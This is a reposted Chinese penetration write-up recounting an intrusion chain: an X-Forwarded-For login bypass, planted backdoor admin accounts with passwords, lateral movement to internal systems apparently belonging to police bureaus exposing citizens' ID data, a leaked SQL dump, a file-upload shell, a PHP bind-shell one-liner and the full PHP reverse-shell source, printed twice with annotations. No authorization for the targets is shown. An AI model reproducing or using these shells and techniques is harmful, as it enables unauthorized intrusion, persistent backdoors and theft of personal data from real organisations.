记一次通杀再到跨段的渗透再到提权假shell

admin 2024年10月18日22:54:38评论10 views字数 6251阅读20分50秒阅读模式
感谢HashRun安全团队成员:明二公子,伊恒,T4x0r,Macfy(排名不分先后)
此次渗透为定向渗透,定向二进制分析

未授权

主域名:http://www.xxxx.com/

子域名:http://xxx.xxx.xxxx/

子域名后台:http://xxx.xxx.xxx/admin

此类站点将xff改为127.0.0.1

记一次通杀再到跨段的渗透再到提权假shell

点击此处直接登录后台  高权限

记一次通杀再到跨段的渗透再到提权假shell

添加后门账户:

ceshi123:admin123A

内网信息扫描:

记一次通杀再到跨段的渗透再到提权假shell

内网多个站点均存在此bug

http://192.168.0.173:99/admin/  xxx警察局差勤

http://192.168.0.130:81/admin/ 刑事警察局

均可看到用户敏感信息:身份证 等等

记一次通杀再到跨段的渗透再到提权假shell

getshell

记一次通杀再到跨段的渗透再到提权假shell

记一次通杀再到跨段的渗透再到提权假shell

记一次通杀再到跨段的渗透再到提权假shell

记一次通杀再到跨段的渗透再到提权假shell

  提权

这个点巨有节目

CVE-2023-35829-poc

内网继续探索

发现一处信息泄露

http://192.168.0.245:8080/DB/nanhaiMembership/

记一次通杀再到跨段的渗透再到提权假shell

下载下来sql文件,可以直接看到查询记录

记一次通杀再到跨段的渗透再到提权假shell

根据上面文件可得:

https://xx.xxx.xxx.xxx.xxx/admin/index.php

然后账号nanhai admin123456

后门账号:ceshi1234 ceshi1234

记一次通杀再到跨段的渗透再到提权假shell

然后在这个地方文件上传漏洞

记一次通杀再到跨段的渗透再到提权假shell

然后翻看网站配置文件

记一次通杀再到跨段的渗透再到提权假shell

发现数据库连接账密

然后发现phpmyadmin的物理路径:

/var/www/html/pos/phpmyadmin

子域名获得:

apache配置文件:

记一次通杀再到跨段的渗透再到提权假shell

对应的地址为:http://pod.xxxxxxxxxxxxxx.xxxxx/phpmyadmin/

反弹shell解决目录限制

这个不知道为什么bash之类的反弹就是不行,因为他是php所以我们就用php解释器反弹

第一次反弹shell

发现不出网,然后使用php解析器建立socket连接

php -r '$s=socket_create(AF_INET,SOCK_STREAM,SOL_TCP);socket_bind($s,"0.0.0.0",9001);socket_listen($s,1);$cl=socket_accept($s);while(1){if(!socket_write($cl,"$ ",2))exit;$in=socket_read($cl,100);$cmd=popen("$in","r");while(!feof($cmd)){$m=fgetc($cmd);socket_write($cl,$m,strlen($m));}}'

记一次通杀再到跨段的渗透再到提权假shell

发现跳转不了目录

因为用的php解析器,他会限制路径,所以解决方案,使用chdir函数绕过限制

反弹脚本:

<?php// php-reverse-shell - A Reverse Shell implementation in PHP. Comments stripped to slim it down. RE: https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php// Copyright (C) 2007 [email protected]set_time_limit (0);$VERSION = "1.0";$ip = 'ip';$port = 11086;$chunk_size = 1400;$write_a = null;$error_a = null;$shell = 'uname -a; w; id; bash -i';$daemon = 0;$debug = 0;if (function_exists('pcntl_fork')) {        $pid = pcntl_fork();        if ($pid == -1) {                printit("ERROR: Can't fork");                exit(1);        }        if ($pid) {                exit(0);  // Parent exits        }        if (posix_setsid() == -1) {                printit("Error: Can't setsid()");                exit(1);        }        $daemon = 1;} else {        printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");}chdir("/");umask(0);// Open reverse connection$sock = fsockopen($ip, $port, $errno, $errstr, 30);if (!$sock) {        printit("$errstr ($errno)");        exit(1);}$descriptorspec = array(   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to   2 => array("pipe", "w")   // stderr is a pipe that the child will write to);$process = proc_open($shell, $descriptorspec, $pipes);if (!is_resource($process)) {        printit("ERROR: Can't spawn shell");        exit(1);}stream_set_blocking($pipes[0], 0);stream_set_blocking($pipes[1], 0);stream_set_blocking($pipes[2], 0);stream_set_blocking($sock, 0);printit("Successfully opened reverse shell to $ip:$port");while (1) {        if (feof($sock)) {                printit("ERROR: Shell connection terminated");                break;        }        if (feof($pipes[1])) {                printit("ERROR: Shell process terminated");                break;        }        $read_a = array($sock, $pipes[1], $pipes[2]);        $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);        if (in_array($sock, $read_a)) {                if ($debug) printit("SOCK READ");                $input = fread($sock, $chunk_size);                if ($debug) printit("SOCK: $input");                fwrite($pipes[0], $input);        }        if (in_array($pipes[1], $read_a)) {                if ($debug) printit("STDOUT READ");                $input = fread($pipes[1], $chunk_size);                if ($debug) printit("STDOUT: $input");                fwrite($sock, $input);        }        if (in_array($pipes[2], $read_a)) {                if ($debug) printit("STDERR READ");                $input = fread($pipes[2], $chunk_size);                if ($debug) printit("STDERR: $input");                fwrite($sock, $input);        }}fclose($sock);fclose($pipes[0]);fclose($pipes[1]);fclose($pipes[2]);proc_close($process);function printit ($string) {        if (!$daemon) {                print "$stringn";        }}?>

最后实现跨目录

记一次通杀再到跨段的渗透再到提权假shell

解释:

<?php// 设置脚本超时时间为,即无限期运行,不会因为PHP的默认超时设置而中断set_time_limit ();// 定义脚本版本$VERSION = "1.";// 定义攻击者的IP地址$ip = 'ip';// 定义攻击者监听的端口号$port = 11086;// 定义从socket或者shell读取数据的块大小$chunk_size = 140;// 定义写入和错误检查的空变量$write_a = null;$error_a = null;// 定义当连接建立时要执行的shell命令$shell = 'uname -a; w; id; bash -i';// 定义标志变量,如果成功创建守护进程则为1,否则为$daemon = ;// 定义调试标志,如果为1则打印调试信息,否则为$debug = ;// 检查是否可以使用pcntl_fork函数来创建子进程if (function_exists('pcntl_fork')) {    // 试图创建子进程    $pid = pcntl_fork();    // 如果创建失败,打印错误信息并退出    if ($pid == -1) {            printit("ERROR: Can't fork");            exit(1);    }    // 如果创建成功,父进程会得到子进程的PID,然后父进程退出    if ($pid) {            exit();  // Parent exits    }    // 将当前进程设置为新会话的领导者,这样可以脱离原会话、原进程组、原控制终端    if (posix_setsid() == -1) {            printit("Error: Can't setsid()");            exit(1);    }    // 如果成功创建守护进程,对应标志位设为1    $daemon = 1;// 如果不能创建子进程,打印警告信息但不退出} else {        printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");}// 更改当前工作目录到根目录,这样在执行命令或者脚本时就不会受到路径的限制chdir("/");// 改变当前的掩码,使得新创建的文件权限不受原有掩码影响umask();// 试图打开到攻击者定义的IP和端口的连接$sock = fsockopen($ip, $port, $errno, $errstr, 30);// 如果连接失败,打印错误信息并退出if (!$sock) {        printit("$errstr ($errno)");        exit(1);}// 定义进程的输入、输出、错误输出的描述符,这些描述符会被传递给进程$descriptorspec = array(   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to   2 => array("pipe", "w")   // stderr is a pipe that the child will write to);// 打开一个进程,执行定义好的shell命令$process = proc_open($shell, $descriptorspec, $pipes);// 如果进程打开失败,打印错误信息并退出if (!is_resource($process)) {        printit("ERROR: Can't spawn shell");        exit(1);}// 将4个流(socket、stdin、stdout、stderr)设置为非阻塞模式stream_set_blocking($pipes[], );stream_set_blocking```phpstream_set_blocking($pipes[1], );stream_set_blocking($pipes[2], );stream_set_blocking($sock, );// 打印成功建立反向Shell的信息printit("Successfully opened reverse shell to $ip:$port");// 主循环,用于处理从socket和shell进程中读取和写入数据while (1) {    // 如果socket连接被关闭,打印错误信息并跳出循环    if (feof($sock)) {        printit("ERROR: Shell connection terminated");        break;    }    // 如果shell进程被关闭,打印错误信息并跳出循环    if (feof($pipes[1])) {        printit("ERROR: Shell process terminated");        break;    }    // 定义要检查的读取流数组    $read_a = array($sock, $pipes[1], $pipes[2]);    // 使用stream_select函数检查哪些流有数据可读    $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);    // 如果socket有数据可读,读取数据并写入到shell的stdin    if (in_array($sock, $read_a)) {        if ($debug) printit("SOCK READ");        $input = fread($sock, $chunk_size);        if ($debug) printit("SOCK: $input");        fwrite($pipes[], $input);    }    // 如果shell的stdout有数据可读,读取数据并写入到socket    if (in_array($pipes[1], $read_a)) {        if ($debug) printit("STDOUT READ");        $input = fread($pipes[1], $chunk_size);        if ($debug) printit("STDOUT: $input");        fwrite($sock, $input);    }    // 如果shell的stderr有数据可读,读取数据并写入到socket    if (in_array($pipes[2], $read_a)) {        if ($debug) printit("STDERR READ");        $input = fread($pipes[2], $chunk_size);        if ($debug) printit("STDERR: $input");        fwrite($sock, $input);    }}// 关闭socket连接和shell进程的所有流fclose($sock);fclose($pipes[]);fclose($pipes[1]);fclose($pipes[2]);// 关闭shell进程proc_close($process);// 定义用于打印信息的函数,如果当前不是守护进程模式则打印信息function printit ($string) {    if (!$daemon) {        print "$string";    }}?>

对于提权

记一次通杀再到跨段的渗透再到提权假shell

https://ti.qianxin.com/blog/articles/POC-Poisoning-Incident-Targeting-Security-Researchers-CN/

记一次通杀再到跨段的渗透再到提权假shell

记一次通杀再到跨段的渗透再到提权假shell

记一次通杀再到跨段的渗透再到提权假shell

记一次通杀再到跨段的渗透再到提权假shell

再次转折,发现是假poc

记一次通杀再到跨段的渗透再到提权假shell

记一次通杀再到跨段的渗透再到提权假shell

记一次通杀再到跨段的渗透再到提权假shell

记一次通杀再到跨段的渗透再到提权假shell

记一次通杀再到跨段的渗透再到提权假shell

记一次通杀再到跨段的渗透再到提权假shell

不管是我们团队再打目标用这个提权还是我个人在工作提权,已经提了不下5台机器了

原文始发于微信公众号(T大4的小圈圈):记一次通杀再到跨段的渗透再到提权假shell

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月18日22:54:38
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   记一次通杀再到跨段的渗透再到提权假shellhttps://cn-sec.com/archives/1881184.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息